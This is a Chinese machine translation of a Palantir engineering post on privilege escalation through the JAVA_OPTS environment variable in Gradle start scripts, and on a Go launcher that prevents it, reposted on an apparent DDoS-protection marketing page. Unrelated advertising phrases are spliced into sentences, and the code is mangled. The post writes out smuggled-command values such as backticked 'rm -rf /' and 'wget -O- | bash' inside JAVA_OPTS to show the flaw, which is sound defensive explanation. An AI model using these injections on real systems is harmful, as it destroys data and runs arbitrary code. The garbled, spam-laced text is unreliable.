来自 安全 2022-06-09 03:40 的文章

国内高防cdn_高防ddos怎么打_限时优惠

国内高防cdn_高防ddos怎么打_限时优惠

安全启动Java应用程序PalantirFollownov 19,2016·5分钟阅读

在我们的软件部署系统中,产品配置和本地系统访问(如通过SSH)是单独的权限,我们更愿意将系统访问权限限制在一小部分基础设施管理员。我们的设置要求配置基于Java的服务的用户能够修改JVM设置。这篇文章展示了通过shell脚本和环境变量启动Java服务的标准模板方法将有效地向具有配置权限的用户授予系统访问权限。这种攻击的机制并不特别令人惊讶或复杂,但仍然是一种可避免的攻击向量。为了对抗这种微妙的权限升级,我们倾向于使用自定义Java启动器,它可以确保经过净化的程序参数优于我们以前使用的标准Gradle分发脚本。

启动应用程序

在本文的上下文中,启动应用程序是从Linux外壳启动(Java)程序的过程。启动应用程序的最简单方法是使用所需参数调用java二进制文件,包括JVM选项、类路径、主类和程序参数。任何非平凡的应用程序都使用一种打包机制,允许开发人员声明源代码、依赖项和配置,并生成一个工件,其中包含已编译的程序和一组启动脚本,这些脚本将java调用的内部内容包装成一个用户友好的可执行脚本。例如,Gradle的Java应用程序插件生成一个bin/my app shell脚本,这样执行bin/my app就会启动应用程序的主类。回顾Gradle生成的shell脚本,我们看到它最终调用

exec"$JAVACMD"${JVM_OPTS[@]}"-classpath"$classpath"myapp.myapp"$@"

,其中JVM_OPTS本身是从JAVA_OPTS环境变量派生的。这允许用户为JVM提供运行时参数,wayos如何防御ddos攻击,ddos防御溯源,例如可用于编程的最大堆内存量:

JAVA_OPTS="-Xmx64m"bin/my app

由于脚本在当前shell中解释JAVA_OPTS变量,因此上述函数相当于

JAVA_OPTS="`echo'-Xmx64m'`"bin/my app

不幸的是,它也相当于

JAVA_OPTS="`rm-rf/&echo'-Xmx64m'`"bin/my-app

甚至相当于

JAVA_OPTS="`wget-O- |bash&&echo'-Xmx64m'`"bin/my app"

即,能够执行任意代码或部署恶意软件。

通过启动脚本提升权限

当启动具有shell访问权限的程序时,这种行为(包括在启动过程中运行任意代码的能力)当然并不令人惊讶。当通过部署系统安装和启动程序时,cc防火墙,情况会更加微妙,免费服务器ddos防御,部署系统将用户权限分为"提供并安装程序二进制文件"、"配置程序"、"启动/停止程序"和"使用程序"。在这个模型中,安装程序的能力严格来说比配置程序的能力更强大。特别是,更改程序二进制文件的能力意味着在指定机器上执行任意代码的能力,而配置程序的能力则允许用户更改通常由程序本身清理和验证的参数,例如线程池的大小、数据库访问的凭据、,等等。为了限制受损用户凭据的爆炸半径,我们限制将应用程序安装到部署系统的权利,并且不授予用户甚至服务管理员SSH到计算机中的权利。服务管理员的权限仅限于通过部署UI工具更改服务配置和启动/停止/重新启动服务。因此,任何允许服务管理员执行任意代码的服务配置工具都应被视为权限提升。特别是,鉴于上述示例,很明显,我们不能让用户为通过Gradle启动脚本启动的服务设置JAVA_选项。

通过显式配置防止特权升级

我们的Gradle JAVA分发插件是Gradle本机分发插件的替代品。它通过清理配置参数而不是将其作为shell表达式进行计算来防止所描述的权限提升。插件用户可以通过标准Gradle扩展在编译时访问固定的配置选项列表:

//build.gradledistribution{mainClass'foo.bar.MyServiceMainClass'args'server','var/conf/my service.yml'defaultJvmOpts'-Xmx1g'defaultJvmOpts'-Xms1g'}

该插件将配置呈现到launcher-static.yml文件中,如下所示:

mainClass:foo.bar.myServiceMainClassPath:-./foo.jar-(JAR列表取自Gradle配置)jvmOpts:-'-Xmx1g'-Xms1g'args:-server-var/conf/my service.yml

launcher-static.yml文件与Go二进制文件一起包含在TGZ/ZIP发行版中,Go二进制文件读取YAML文件并使用指定的JVM和程序执行(通过exec()系统调用)java二进制文件参数,即大致为

/absolute/path/to/java-Xmx1g-Xms1g \-classpath/absolute/path/to/foo.jar\foo.bar.MyServiceMainClass\server var/conf/my service.yml

由于所有配置都被解释为逐字字符串并直接传递给exec()系统调用,因此此启动机制可防止所述的权限提升。我们选择Go来实现发射器;我们有更多的机构知识,而不是BASH,冰盾软件防御ddos多少g,因此认为它是一个更适合我们的语言。与独立于操作系统的shell脚本相比,这种选择的一个缺点是耦合到预编译的、依赖于操作系统的启动程序二进制文件。Gradle插件目前为我们的标准开发和生产环境提供MacOS和Linux二进制文件。

将编译时与运行时配置分离